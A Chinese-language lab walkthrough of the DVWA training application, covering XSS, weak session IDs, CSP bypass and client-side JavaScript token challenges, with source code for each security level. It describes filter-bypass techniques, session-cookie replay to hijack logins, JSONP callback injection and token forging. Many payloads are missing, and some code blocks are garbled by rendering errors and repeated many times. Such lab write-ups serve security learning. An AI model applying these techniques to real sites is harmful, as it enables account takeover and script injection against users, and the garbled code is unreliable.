//将输入中的<script>转化为空$name = str_replace( '<script>', '', $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>";
}?>

复现过程-Medium

这里对输入进行了过滤,基于黑名单的思想,使用str_replace函数将输入中的

1.大小写混淆绕过(str_replace()函数不太完美,因为它区分大小写)

Payload:

过滤的是

Payload:

全大写就行

2.双写绕过

Payload:<sc

服务器把

<sc

标红部位为空后:

3.构造不使用

payload:

解释:<img …>标签是添加一个图片,src是指定图片的url,onerror是指定加载图片时如果出现错误则要执行的事件,这里我们的图片url肯定是错误的,这个弹框事件也必定会执行

类似的payloads还有很多,往后整理一下吧

源码分析-High

<?phpheader ("X-XSS-Protection: 0");// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Get input
//使用通配符,完全匹配script*N,所以有关script的标签全被过滤$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>";
}?>

复现过程-High

High级别的代码同样使用黑名单过滤输入,preg_replace() 函数将包含<script的字符,不管大小写,不管后面跟着1个或多个与之相同的字符都转换为空。用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。

除了script之外还有很多可以执行代码的标签

Payload:

源码分析-Impossible

<?php// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input
//转码
& (和号) 成为 &amp;
" (双引号) 成为 &quot;
' (单引号) 成为 '
< (小于) 成为 &lt;
> (大于) 成为 &gt;$name = htmlspecialchars( $_GET[ 'name' ] );// Feedback for end userecho "<pre>Hello ${name}</pre>";
}// Generate Anti-CSRF token
generateSessionToken();?>

复现过程-Impossible

High级别的代码同样使用黑名单过滤输入,preg_replace() 函数将包含<script的字符,不管大小写,不管后面跟着1个或多个与之相同的字符都转换为空。用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。

除了script之外还有很多可以执行代码的标签

Payload:

可以看到,Impossible级别的代码使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为HTML实体,防止浏览器将其作为HTML元素。

Stored-XSS(存储型跨站脚本攻击)

攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码。这就意味着只要访问了这个页面的访客,都有可能会执行这段恶意脚本,因此储存型XSS的危害会更大。因为存储型XSS的代码存在于网页的代码中,可以说是永久型的。

存储型 XSS 一般出现在网站留言、评论、博客日志等交互处,恶意脚本存储到客户端或者服务端的数据库中。

源码分析-Low

<?phpif( isset( $_POST[ 'btnSign' ] ) ) {// Get input
// trim(string,charlist)
函数移除字符串两侧的空白字符或其他预定义字符,预定义字符包括、\t、\n、\x0B、\r以及空格,可选参数charlist支持添加额外需要删除的字符。$message = trim( $_POST[ 'mtxMessage' ] );$name    = trim( $_POST[ 'txtName' ] );// Sanitize message input
// stripslashes(string)
函数删除字符串中的反斜杠。$message = stripslashes( $message );
// mysql_real_escape_string(string,connection)
函数会对字符串中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Sanitize name input$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Update database$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );//mysql_close();
}?>

复现过程-Low

可以看到,对输入并没有做XSS方面的过滤与检查,且存储在数据库中,因此这里存在明显的存储型XSS漏洞。

message一栏输入

成功弹框:

这个已经存储在数据库中了,每次刷新后都会弹出框,可重置数据库

源码分析-Medium

<?phpif( isset( $_POST[ 'btnSign' ] ) ) {// Get input$message = trim( $_POST[ 'mtxMessage' ] );$name    = trim( $_POST[ 'txtName' ] );// Sanitize message input
// strip_tags() 函数剥去字符串中的HTML、XML以及PHP的标签,但允许使用<b>标签
// addslashes() 函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串$message = strip_tags( addslashes( $message ) );$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));$message = htmlspecialchars( $message );// Sanitize name input$name = str_replace( '<script>', '', $name );$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));// Update database$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );//mysql_close();
}?>

复现过程-Medium

可以看到,由于对message参数使用了htmlspecialchars函数进行编码,因此无法再通过message参数注入XSS代码,但是对于name参数,只是简单过滤了

l 双写绕过

抓包改name参数为(name长度限制了)

<sc

Weak Session IDs(弱会话ID)

Session和Cookie

l http协议是无状态的

就好像两个人用老式的手摇电话机通电话。每一次http请求和数据交换就像这样的一次电话通话过程,当请求完毕以后,再进行下一次请求时,http协议是无法追踪上一则通话记录的。这样每一次用户与服务器的交互都是独立的一次通话,对于一个web应用而言显然是存在问题的,因为用户的请求十有八九具有连续性。就比如一个用户在商城添加了某商品到购物车,当他去结账时,又是一次新的请求,他的购物车http协议仅仅通过连接状态是无法追踪的!

l Session:来来来 给你分配个号码牌

为了解决用户的接续访问问题,一个简单的想法就是,将每一次用户与服务器之间的持续通话做为一个“会话”存放在服务器端。

当用户第一次打call进来的时候,你先别说话,先给你个小牌牌,这个小牌牌就用来做为这次用户会话的跟踪。

在我们的应用内通常使用sessionID或者类似的形式进行记录。

l Cookie:请你证明你是你

在会话中我们有了标识自己身份的号码牌,由服务器生成颁发。用户拿到小牌牌,当然要妥善保管啦,将他存放到cookie里面就是现在的主流手段。当用户继续向服务器发出交互时,每一次接线员都先看一看这个小牌牌,证明你是你,然后再继续给你服务,不然别怪我翻脸不认人。

他们关系就类似这样婶儿的:

l Session利用的实质

由于SessionID是用户登录之后才持有的唯一认证凭证,因此黑客不需要再攻击登陆过程(比如密码),就可以轻易获取访问权限,无需登录密码直接进入特定用户界面, 进而查找其他漏洞如XSS、文件上传等等。

l Session劫持 :

就是一种通过窃取用户SessionID,使用该SessionID登录进目标账户的攻击方法,此时攻击者实际上是使用了目标账户的有效Session。如果SessionID是保存在Cookie中的,则这种攻击可以称为Cookie劫持。SessionID还可以保存在URL中,作为一个请求的一个参数,但是这种方式的安全性难以经受考验。

页面也比较简单的,点击 generate 就会生成一个 session Id。

源码分析-Low

<?php$html = "";if ($_SERVER['REQUEST_METHOD'] == "POST") {if (!isset ($_SESSION['last_session_id'])) {$_SESSION['last_session_id'] = 0;}
//服务器每次生成的session_id加1给客户端$_SESSION['last_session_id']++;$cookie_value = $_SESSION['last_session_id'];setcookie("dvwaSession", $cookie_value);
}
?>

复现过程-Low

点Generate,抓包

退出用户,再登录,点Generate,抓包

试了五次,每次都是加1,这样的话,dvwaSession为验证用户身份的,就可以通过这种方式来越权

如果用户 SESSION中的 last_session_id 不存在就设为 0,如果dvwaSession存在就加一,这样肯定会造成session不是唯一,引发冲突

利用过程

说了这么半天,就算我们猜到了sessionID又有什么用呢?

那当然是模拟cookie登录了

两台windows7虚机

一台是DVWA服务,用来抓取sessionID,发现漏洞

一台安装联网安装firefox+hackbar

我们已经发现了sessionID是每次加一,在回顾一下cookie的值

cookie中,dvwaSession是每次加一的,但是后面的是不变的,所以我们只需要猜dvwaSession的值就可以了。

复制这个cookie的值

Cookie: dvwaSession=1; security=Low; PHPSESSID=g1rkmf6gtn729dlb9qqsnfhcg0

hackbar

在另一台装有firefox+hackbar的虚机中进行攻击

算了,还是先演示一下firefox+hackbar的安装过程吧

官网下载安装firefox

git上下载免费版hackbar

https://github.com/Mr-xn/hackbar2.1.3

firefox集成hackbar,注意一定要选择关闭自动更新,不然浏览器会更新到hackbar付费版

选择附加组件

点击从文件安装附加组件,并关闭自动更新

选择从git上下载下来的zip解压后的文件中,4c开头的

双击后,点击添加

在扩展中找到hackbar并开启

再次关闭hackbar的自动更新

按F12就多了一个hackbar,还能用cookie,美滋滋

继续我们的利用,刚刚说到复制cookie

Cookie: dvwaSession=1; security=Low; PHPSESSID=g1rkmf6gtn729dlb9qqsnfhcg0

把URL也复制过来

http://192.168.31.155/DVWA-master/vulnerabilities/weak_id/

做好一切,开始攻击

没有输入用户名密码,直接进来,也就是说我们只要猜到sessionID,就一直绕过用户名密码

我又试了试其他的模块,发现整个站点的登录都是cookie验证,和sessionID没啥关系,所以

Cookie: dvwaSession=1; security=Low; PHPSESSID=g1rkmf6gtn729dlb9qqsnfhcg0

去掉了dvwaSession也能登进来

源码分析-Medium

<?php$html = "";if ($_SERVER['REQUEST_METHOD'] == "POST") {$cookie_value = time();
//返回当前时间的 Unix 时间戳,并格式化为日期:
time() 函数返回自 Unix 纪元(January 1 1970 00:00:00 GMT)起的当前时间的秒数setcookie("dvwaSession", $cookie_value);
}
?>

复现过程-Medium

说白了,和自增1没啥区别,说白了就是从1970年到现在的秒数,那不也是一秒一秒自增

点Generate,多抓几个包

时间在流逝,我还是抓紧时间学习吧

使用时间戳在线查询工具就可以伪造啦

https://tool.lu/timestamp/

源码分析-High

<?php$html = "";if ($_SERVER['REQUEST_METHOD'] == "POST") {if (!isset ($_SESSION['last_session_id_high'])) {$_SESSION['last_session_id_high'] = 0;}$_SESSION['last_session_id_high']++;$cookie_value = md5($_SESSION['last_session_id_high']);
//setcookie(name,value,expire,path,domain,secure,httponly)参数                 描述
name        必需。规定cookie的名称。
value       必需。规定cookie的值。
expire      可选。规定cookie的有效期。
path        可选。规定cookie的服务器路径。
domain      可选。规定cookie的域名。
secure      可选。规定是否通过安全的HTTPS连接来传输cookie。
httponly    可选。规定是否Cookie仅可通过HTTP协议访问。setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}?>

复现过程-High

抓包

重放,发现服务器颁发的sessionID

复制,使用md5解密

https://www.cmd5.com/

c9f0f895fb98ab9159f51fd0297e236d

很可爱的一位数,其实就是在Low的级别上md5加密

源码分析-Impossible

<?php$html = "";if ($_SERVER['REQUEST_METHOD'] == "POST") {
//随机数+时间戳+固定字符串"Impossible",再进行sha1运算$cookie_value = sha1(mt_rand() . time() . "Impossible");setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
}
?>

复现过程-Impossible

破解复杂

CSP Bypass(CSP绕过)

l 什么是CSP

Content-Security-Policy是指HTTP返回报文头中的标签,浏览器会根据标签中的内容,判断哪些资源可以加载或执行。翻译为中文就是绕过内容安全策略。是为了缓解潜在的跨站脚本问题(XSS),浏览器的扩展程序系统引入了内容安全策略这个概念。原来应对XSS攻击时,主要采用函数过滤、转义输入中的特殊字符、标签、文本来规避攻击。CSP的实质就是白名单制度,开发人员明确告诉客户端,哪些外部资源可以加载和执行。开发者只需要提供配置,实现和执行全部由浏览器完成。

l 两种方法可以启用CSP:

一种是通过HTTP相应头信息的Content-Security-Policy字段;

另一种是通过网页标签;

参考:

https://content-security-policy.com/

例如:

以上例子中的说明如下:

script-src脚本:只信任当前域名

object-src:不信任任何URL,即不加载任何资源

style-src样式表:只信任http://cdn.example.org和http://third-party.org

child-src:必须使用HTTPS协议加载。这个已从Web标准中删除,新版本浏览器可能不支持。

其他资源:没有限制其他资源

当启用CSP后,不符合CSP的外部资源会被阻止加载。

l 为什么要使用CSP呢?

首先,CSP是一种声明机制,允许Web开发者在其应用程序上指定多个安全限制,由支持的用户代理(浏览器)来负责强制执行。CSP旨在“作为开发人员可以使用的工具,以各种方式保护其应用程序,减轻内容注入漏洞的风险和减少应用程序执行的特权”。当前,CSP还处在快速的发展期,目前正在进行规范中的版本是CSP3,CSP标准由用户代理选择实现。例如,Chrome具有完整的CSP2支持,并且实现了CSP3的大部分工作草案,仅在某些情况下可能会落后于实验中的某些特性,而Mozilla Firefox和基于WebKit的浏览器则刚刚获得了完整的CSP2支持。在实际使用中,CSP策略在Content-Security-Policy HTTP响应头或元素中提供。

您可以包括来自外部源的脚本、检查内容安全策略并在此处输入要包括的URL:

源码分析-Low

<?php
//script-src脚本:'self'只信任当前域名
//信任https://pastebin.com 、example.com code.jquery.com、//https://ssl.google-analytics.com$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com  example.com code.jquery.com https://ssl.google-analytics.com ;"; // alLows js from self, pastebin.com, jquery and google analytics.header($headerCSP);# https://pastebin.com/raw/R570EE00?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST"><p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p><input size="50" type="text" name="include" value="" id="include" /><input type="submit" value="Include" />
</form>
';

pastebin-快速分享文本、代码

从代码中分析,可知,该输入框是信任

https://pastebin.com

访问一下看看

可以在New Paste中写下代码,点击create去创建链接

点击raw形式(原生)来显示,

复现过程-Low

复制生成的js代码链接,淡然这时候服务器需要和pastebin联网,也就是连外网

https://pastebin.com/raw/gbiUKzi1

源码分析-Medium

<?php//增加了nonce
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";header($headerCSP);// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");
//如果脚本(例如<script nonce="r@nd0m">:)标记包含与CSP标头中指定的随机数匹配的随机数属性,则允许执行内联脚本或CSS 。随机数应为安全的随机字符串,并且不应重复使用。# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST"><p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p><input size="50" type="text" name="include" value="" id="include" /><input type="submit" value="Include" />
</form>
';

复现过程-Medium

输入“懵懂型”Payload

查看到浏览器报错

192.168.31.155/:63 Refused to execute inline script because it violates the folLowing Content Security Policy directive: “script-src ‘self’ ‘unsafe-inline’ ‘nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=’”. Note that ‘unsafe-inline’ is ignored if either a hash or nonce value is present in the source list.
192.168.31.155/:63拒绝执行内联脚本,因为它违反了以下内容安全策略指令:“script src’self’“unsafe inline’”nonce-tmv2zxigzz29pbmcgdg8gzz2lzsb5b3ugdxa=’。注意,如果源列表中存在哈希值或nonce值,则忽略“unsafe inline”。

错误提示告诉我们, 因为头部指定了 nonce 值, 所以自动忽略了 ‘unsafe-inline’ 这个参数. 因此可以判断这两个参数是不能共存的, 而且如果共存, 后者是会覆盖前者的.

这里还有个有意思的地方, 你看那个 nonce 的值很明显是个 base64 编码, 我就无聊去解码了一下, 嗯… 原文"TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA="转换后是 “Never going to give you up”, 还是给出题者 666. 不过呢, 正确的防御方式下的 nonce 值不应该是个固定值, 而是应该是个随机生成的值, 这样才能真正达到防止 XSS 的目的.

“圆规正转”

使用如下payload,主要是nonce跟代码中的随机数保持一致即可,成功

源码分析-High

vulnerabilities/csp/source/high.php
<?php
// script-src 'self';, 只允许本界面加载的 javascript 执行
$headerCSP = "Content-Security-Policy: script-src 'self';";header($headerCSP);?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST"><p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p><p>1+2+3+4+5=<span id="answer"></span></p><input type="button" id="solve" value="Solve the sum" />
</form><script src="source/high.js"></script>
';
vulnerabilities/csp/source/high.js
function clickButton() {
//点击按钮后
//创建script标签var s = document.createElement("script");
//修改script标签src属性s.src = "source/jsonp.php?callback=solveSum";document.body.appendChild(s);
}function solveSum(obj) {if ("answer" in obj) {document.getElementById("answer").innerHTML = obj['answer'];}
}var solve_button = document.getElementById ("solve");if (solve_button) {solve_button.addEventListener("click", function() {
//点击按钮调用clickButton函数clickButton();});
}
jsonp.php
<?php
header("Content-Type: application/json; charset=UTF-8");if (array_key_exists ("callback", $_GET)) {$callback = $_GET['callback'];
} else {return "";
}$outp = array ("answer" => "15");echo $callback . "(".json_encode($outp).")";
?>

BP远程代理设置

burpsuite所在机器192.168.31.155

懒得再本机上再装BP的,将本机访问DVWA抓包在31.155上

设置本机代理服务器

burpsuite进行如下改动

这样在本机上访问的,只要bp开启代理,就直接过去了

复现过程-High

分析代码的逻辑,可以得到以下的结论

图中是让点击Solve按钮计算1+2+3+4+5

仔细想了想,这里的函数调用关系是个难点,我分两种情况下说,第一种是正常点击Slove the sum按钮时的函数执行情况,另一种是攻击时的函数执行情况,下图为关键执行代码,便于理解,我每一步把关键代码标红

vulnerabilities/csp/source/high.php
vulnerabilities/csp/source/high.jsfunction clickButton() { var s = document.createElement(“script”); s.src = “source/jsonp.php?callback=solveSum”; document.body.appendChild(s);} function solveSum(obj) { if (“answer” in obj) { document.getElementById(“answer”).innerHTML = obj[‘answer’];}} var solve_button = document.getElementById (“solve”); if (solve_button) { solve_button.addEventListener(“click”, function() { clickButton();});}
jsonp.phpif (array_key_exists (“callback”, $_GET)) { $callback = KaTeX parse error: Expected 'EOF', got '}' at position 18: …ET['callback'];}̲ else { return …outp = array (“answer” => “15”);echo callback."(".jsonencode(callback . "(".json_encode(callback."(".jsone​ncode(outp).")";

l 正常情况

\1. 访问high.php中,会加载high.js

vulnerabilities/csp/source/high.php
vulnerabilities/csp/source/high.jsfunction clickButton() { var s = document.createElement(“script”); s.src = “source/jsonp.php?callback=solveSum”; document.body.appendChild(s);} function solveSum(obj) { if (“answer” in obj) { document.getElementById(“answer”).innerHTML = obj[‘answer’];}} var solve_button = document.getElementById (“solve”); if (solve_button) { solve_button.addEventListener(“click”, function() { clickButton();});}
jsonp.phpif (array_key_exists (“callback”, $_GET)) { $callback = KaTeX parse error: Expected 'EOF', got '}' at position 18: …ET['callback'];}̲ else { return …outp = array (“answer” => “15”);echo callback."(".jsonencode(callback . "(".json_encode(callback."(".jsone​ncode(outp).")";

\2. 加载时,会给按钮增加事件:当点击按钮后,调用clickButton()函数

vulnerabilities/csp/source/high.php
vulnerabilities/csp/source/high.jsfunction clickButton() { var s = document.createElement(“script”); s.src = “source/jsonp.php?callback=solveSum”; document.body.appendChild(s);} function solveSum(obj) { if (“answer” in obj) { document.getElementById(“answer”).innerHTML = obj[‘answer’];}} var solve_button = document.getElementById (“solve”); if (solve_button) { solve_button.addEventListener(“click”, function() { clickButton();});}
jsonp.phpif (array_key_exists (“callback”, $_GET)) { $callback = KaTeX parse error: Expected 'EOF', got '}' at position 18: …ET['callback'];}̲ else { return …outp = array (“answer” => “15”);echo callback."(".jsonencode(callback . "(".json_encode(callback."(".jsone​ncode(outp).")";

\3. clickButton()函数会创建一个script标签,并修改标签属性src

vulnerabilities/csp/source/high.php
vulnerabilities/csp/source/high.jsfunction clickButton() { var s = document.createElement(“script”); s.src = “source/jsonp.php?callback=solveSum”; document.body.appendChild(s);} function solveSum(obj) { if (“answer” in obj) { document.getElementById(“answer”).innerHTML = obj[‘answer’];}} var solve_button = document.getElementById (“solve”); if (solve_button) { solve_button.addEventListener(“click”, function() { clickButton();});}
jsonp.phpif (array_key_exists (“callback”, $_GET)) { $callback = KaTeX parse error: Expected 'EOF', got '}' at position 18: …ET['callback'];}̲ else { return …outp = array (“answer” => “15”);echo callback."(".jsonencode(callback . "(".json_encode(callback."(".jsone​ncode(outp).")";

\4. 再调用jsonp.php的callback()方法传入callback=solveSum参数

vulnerabilities/csp/source/high.php
vulnerabilities/csp/source/high.jsfunction clickButton() { var s = document.createElement(“script”); s.src = “source/jsonp.php?callback=solveSum”; document.body.appendChild(s);} function solveSum(obj) { if (“answer” in obj) { document.getElementById(“answer”).innerHTML = obj[‘answer’];}} var solve_button = document.getElementById (“solve”); if (solve_button) { solve_button.addEventListener(“click”, function() { clickButton();});}
jsonp.phpif (array_key_exists (“callback”, $_GET)) { $callback = KaTeX parse error: Expected 'EOF', got '}' at position 18: …ET['callback'];}̲ else { return …outp = array (“answer” => “15”);echo callback."(".jsonencode(callback . "(".json_encode(callback."(".jsone​ncode(outp).")";

\5. 将参数传给jsonp.php,请注意,此时传递的是callback(键):solveSum(值)

请看代码中的变量跟踪

vulnerabilities/csp/source/high.php
vulnerabilities/csp/source/high.jsfunction clickButton() { var s = document.createElement(“script”); s.src = “source/jsonp.php?callback=solveSum”; document.body.appendChild(s);} function solveSum(obj) { if (“answer” in obj) { document.getElementById(“answer”).innerHTML = obj[‘answer’];}} var solve_button = document.getElementById (“solve”); if (solve_button) { solve_button.addEventListener(“click”, function() { clickButton();});}
jsonp.phpif (array_key_exists (“callback”, $_GET)) {//array_key_exits执行结果为true,因为存在键callback $callback = KaTeX parse error: Expected 'EOF', got '}' at position 18: …ET['callback'];}̲ else {//申请变量ca…outp = array (“answer” => “15”);//申请变量outp并赋值answer(键):15(值)echo callback."(".jsonencode(callback . "(".json_encode(callback."(".jsone​ncode(outp).")";//输出给callback变量,也就是说,现在变量callback值为//solveSum(answer:15)

\6. jsonp.php调用后返回的结果赋值给s.src,并且将s标签加入到body中加载

vulnerabilities/csp/source/high.php
vulnerabilities/csp/source/high.jsfunction clickButton() { var s = document.createElement(“script”); s.src = “source/jsonp.php?callback=solveSum”; document.body.appendChild(s);} function solveSum(obj) { if (“answer” in obj) { document.getElementById(“answer”).innerHTML = obj[‘answer’];}} var solve_button = document.getElementById (“solve”); if (solve_button) { solve_button.addEventListener(“click”, function() { clickButton();});}
jsonp.phpif (array_key_exists (“callback”, $_GET)) {//array_key_exits执行结果为true,因为存在键callback $callback = KaTeX parse error: Expected 'EOF', got '}' at position 18: …ET['callback'];}̲ else {//申请变量ca…outp = array (“answer” => “15”);//申请变量outp并赋值answer(键):15(值)echo callback."(".jsonencode(callback . "(".json_encode(callback."(".jsone​ncode(outp).")";//输出给callback变量,也就是说,现在变量callback值为//solveSum(answer:15)

\7. 加载了script标签后,就会自动执行src中的函数,即solveSum,并给正确的标签赋值15

vulnerabilities/csp/source/high.php
vulnerabilities/csp/source/high.jsfunction clickButton() { var s = document.createElement(“script”); s.src = “source/jsonp.php?callback=solveSum”; document.body.appendChild(s);} function solveSum(obj) { if (“answer” in obj) { document.getElementById(“answer”).innerHTML = obj[‘answer’];}} var solve_button = document.getElementById (“solve”); if (solve_button) { solve_button.addEventListener(“click”, function() { clickButton();});}
jsonp.phpif (array_key_exists (“callback”, $_GET)) {//array_key_exits执行结果为true,因为存在键callback $callback = KaTeX parse error: Expected 'EOF', got '}' at position 18: …ET['callback'];}̲ else {//申请变量ca…outp = array (“answer” => “15”);//申请变量outp并赋值answer(键):15(值)echo callback."(".jsonencode(callback . "(".json_encode(callback."(".jsone​ncode(outp).")";//输出给callback变量,也就是说,现在变量callback值为//solveSum(answer:15)

这个时候我们的屏幕上会显示15,正确情况到此结束,我们注意一点,在函数的调用过程中,有一个地方非常危险,就是第六步调用jsonp,php并传参,默认的传参是solveSum,所以在下文会调用这个函数,那么如果我们抓包修改参数,传入一个可执行的alert呢?

l 攻击情况

点击Solve the sum,并抓包,此时就是调用jsonp.php的过程,可以看到solveSum是参数值,修改该参数值为alert(“zzyy”)

思考一下,修改完参数值,转发了以后,变得是哪一块?看一眼第5步核心代码,蓝色是跟正常情况一样,红色为不同之处

jsonp.phpif (array_key_exists (“callback”, $_GET)) {//array_key_exits执行结果为true,因为存在键callback $callback = KaTeX parse error: Expected 'EOF', got '}' at position 18: …ET['callback'];}̲ else {//申请变量ca…outp = array (“answer” => “15”);//申请变量outp并赋值answer(键):15(值)echo callback."(".jsonencode(callback . "(".json_encode(callback."(".jsone​ncode(outp).")";//输出给callback变量,也就是说,现在变量callback值为// alert(“zzyy”)(answer:15)

按照这样执行,到第7步时,就会以执行solveSum的方式去执行alert(“zzyy”),OK了

成功弹框

源码分析-Impossible

vulnerabilities/csp/source/impossible.php
<?php$headerCSP = "Content-Security-Policy: script-src 'self';";header($headerCSP);?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST"><p>Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.</p><p>The CSP settings only alLow external JavaScript on the local server and no inline code.</p><p>1+2+3+4+5=<span id="answer"></span></p><input type="button" id="solve" value="Solve the sum" />
</form><script src="source/impossible.js"></script>
';
vulnerabilities/csp/source/impossible.js
function clickButton() {var s = document.createElement("script");
//这里不再允许传参s.src = "source/jsonp_impossible.php";document.body.appendChild(s);
}function solveSum(obj) {if ("answer" in obj) {document.getElementById("answer").innerHTML = obj['answer'];}
}var solve_button = document.getElementById ("solve");if (solve_button) {solve_button.addEventListener("click", function() {clickButton();});
}
jsonp_impossible.php
<?php
header("Content-Type: application/json; charset=UTF-8");
$outp = array ("answer" => "15");
//写死了。。。
echo "solveSum (".json_encode($outp).")";
?>

复现过程-Impossible

可以看到,callback传参删除,原本为变量的地方写死了。。。

JavaScript(JS攻击)

利用所学JavaScript知识,来进行攻击!当然也可以借此机会好好学习一下JavaScript。

源码分析-Low

<?php
$page[ 'body' ] .= <<<EOF
<script>
/*
MD5 code from here
https://github.com/blueimp/JavaScript-MD5
*/
//省略一些函数
。。。function generate_token() {
//id为phrase就是input输入框中的值,将该值md5加密后,作为token进行验证var phrase = document.getElementById("phrase").value;document.getElementById("token").value = md5(rot13(phrase));}generate_token();
</script>
EOF;
?>

复现过程-Low

phrase就是label

让提交success就能赢了

错误的token,怕是得获取当前的token,根据代码来看md5(rot13(phrase))

那就是md5(rot13(success))

https://www.jisuan.mobi/puzzm6z1B1HH6yXW.html

rot13(success)

fhpprff

md5(fhpprff)

https://www.107000.com/T-Md5

token的值,就是下面四种情况一个一个试吧

最后试出来是32位小写

38581812b435834ebf84ebcc2c6424d6

当然这是个笨方法,我们是用浏览器console

按F12,一般会出现Elements,我们进入Console模式

输入alert(md5(rot13(“success”)))后,回车搞定

38581812b435834ebf84ebcc2c6424d6

抓包

修改前两个参数的值

token=38581812b435834ebf84ebcc2c6424d6&phrase=success&send=Submit

源码分析-Medium

vulnerabilities/javascript/source/medium.php
<?php
$page[ 'body' ] .= '<script src="' . DVWA_WEB_PAGE_TO_ROOT . 'vulnerabilities/javascript/source/medium.js"></script>';
?>
vulnerabilities/javascript/source/medium.js
function do_something(e) {for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];return t
}
setTimeout(function () {do_elsesomething("XX")
}, 300);
function do_elsesomething(e) {document.getElementById("token").value = do_something(e + document.getElementById("phrase").value + "XX")
}

复现过程-Medium

看代码的逻辑,token为

alert(do_something(“XX”+‘success’+“XX”));

在Console中执行

XXsseccusXX

抓包

token=XXsseccusXX&phrase=success&send=Submit

源码分析-High

vulnerabilities/javascript/source/high.php
<?php
$page[ 'body' ] .= '<script src="' . DVWA_WEB_PAGE_TO_ROOT . 'vulnerabilities/javascript/source/high.js"></script>';
?>
vulnerabilities/javascript/source/high.js关键代码
function do_something(e) {for (var t = "", n = e.length - 1; n >= 0; n--) t += e[n];return t
}
function token_part_3(t, y = "ZZ") {document.getElementById("token").value = sha256(document.getElementById("token").value + y)
}
function token_part_2(e = "YY") {document.getElementById("token").value = sha256(e + document.getElementById("token").value)
}
function token_part_1(a, b) {document.getElementById("token").value = do_something(document.getElementById("phrase").value)
}
document.getElementById("phrase").value = "";
setTimeout(function() {token_part_2("XX")
}, 300);
document.getElementById("send").addEventListener("click", token_part_3);
token_part_1("ABCD", 44);

JavaScript混淆

高级和中级类似,生成 token 的逻辑在额外的 js 文件中。和中级不同的是,这里的 JS 经过了混淆的。。。就显得很混乱

这不是正常人类能看懂的。

使用如下,来解码,真牛逼,上面源码就是来的

http://deobfuscatejavascript.com

复现过程-High

从源码得知,生成 token 的步骤是:

1、执行token_part_1(“ABCD”, 44)

2、执行token_part_2(“XX”)(原本是延迟 300ms执行的那个)

3、点击按钮的时候执行 token_part_3

所以思路是

输入框输入

success

在Console执行

